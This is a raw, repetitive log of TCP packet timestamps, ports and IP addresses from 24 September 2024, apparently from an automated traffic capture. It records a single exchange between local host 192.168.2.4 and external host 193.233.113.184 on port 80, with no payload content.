Sep 24, 2024 21:30:05.288017988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288036108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288050890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288062096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288085938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288094044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288187027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288779974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288814068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288841963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288847923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288851023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288883924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.288891077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.288939953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.289598942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.289633989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.289659023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.289666891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.289700985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.289717913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.289727926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.289757013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.289789915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.290390015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.290425062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.290441990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.290460110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.290471077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.290494919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.290504932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.290539980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.291208982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.291244030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.291263103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.291273117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.291287899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.291306973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.291311979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.291342020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.291352987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.291374922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.291393042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.291429996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.292021990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.292057037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.292073965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.292090893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.292104959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.292128086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.292134047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.292164087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.292170048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.292208910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315104961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315167904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315196037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315229893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315251112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315270901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315489054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315521002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315548897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315555096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315556049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315593004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.315601110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.315635920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.316399097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.316560984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.316587925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.316622972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.316638947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.316665888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.316672087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.316710949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.317312002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.317344904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.317375898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.317394018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.317406893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.317442894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.317492008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.317527056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.317545891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.317572117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318069935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318104029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318121910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318140030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318162918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318175077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318192005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318217039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318614006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318649054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318665981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318681955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318698883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318717003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318722963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318758011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.318762064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.318803072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.319437981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.319473028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.319494009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.319514036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.319520950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.319569111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.319622040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.319674015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.319679976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.319740057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320194006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320229053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320250988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320262909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320271969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320303917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320353031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320398092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320833921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320868015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320885897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320902109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320913076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320936918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.320939064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.320980072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.321655035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.321688890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.321706057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.321721077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.321723938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.321754932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.321765900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.321794987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.321799994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.321839094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.322736025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.322770119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.322793007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.322803974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.322809935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.322844028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.322901011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.322957993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323291063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323337078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323347092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323374987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323457003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323492050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323508024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323525906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323538065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323566914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323649883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323683977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.323698044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.323724985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.325248003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.325292110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.325300932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.325333118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.346920013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.346983910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.347050905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.347085953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.347103119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.347129107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.347403049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.347450972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.347569942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.348560095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.348628998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.348680019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.348715067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.348735094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.348758936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.348980904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349034071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349035978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349071026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349080086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349106073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349116087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349148989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349706888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349740028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349759102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349775076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349783897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349809885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349821091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349843979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.349853992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.349884987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.350517035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.350550890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.350572109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.350585938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.350589991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.350616932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.350634098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.350666046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.375449896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.375508070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.375543118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.375547886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.375570059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.375588894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.376338959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.376372099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.376394987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.376415014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.376488924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.376523972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.376543045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.376564980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.376868963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.376902103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.376919031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.376945019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.377028942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.377079964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.377207994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.377242088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.377258062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.377274036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.377283096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.377315044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.377319098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.377362013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378185034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378223896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378230095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378267050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378309965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378345013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378359079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378381968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378386021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378422022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378657103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378706932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378710032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378741026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378748894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378777027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378782988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378812075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378824949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378848076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.378854036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.378887892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.379602909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.379638910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.379657030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.379673004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.379678011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.379714966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.379756927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.379790068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.379810095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.379825115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.379828930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.379865885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.380436897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.380471945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.380491018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.380506992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.380507946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.380552053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.380556107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.380598068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.403656006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.403719902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.403738022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.403753042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.403764009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.403795004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.403971910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404006004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404027939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.404059887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.404314041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404347897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404364109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.404380083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404382944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.404416084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404423952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.404449940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.404459000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.404489040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405096054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405147076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405211926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405267954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405482054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405518055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405529976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405554056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405558109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405586004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405596972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405627966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405884981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.405930996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.405977964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406012058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406032085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.406045914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406054974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.406080961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406085968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.406125069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.406912088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406946898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406959057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.406980038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.406989098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407016039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407025099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407049894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407059908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407084942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407087088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407128096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407823086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407856941 CEST	80	49730	193.233.113.184	192.168.2.4
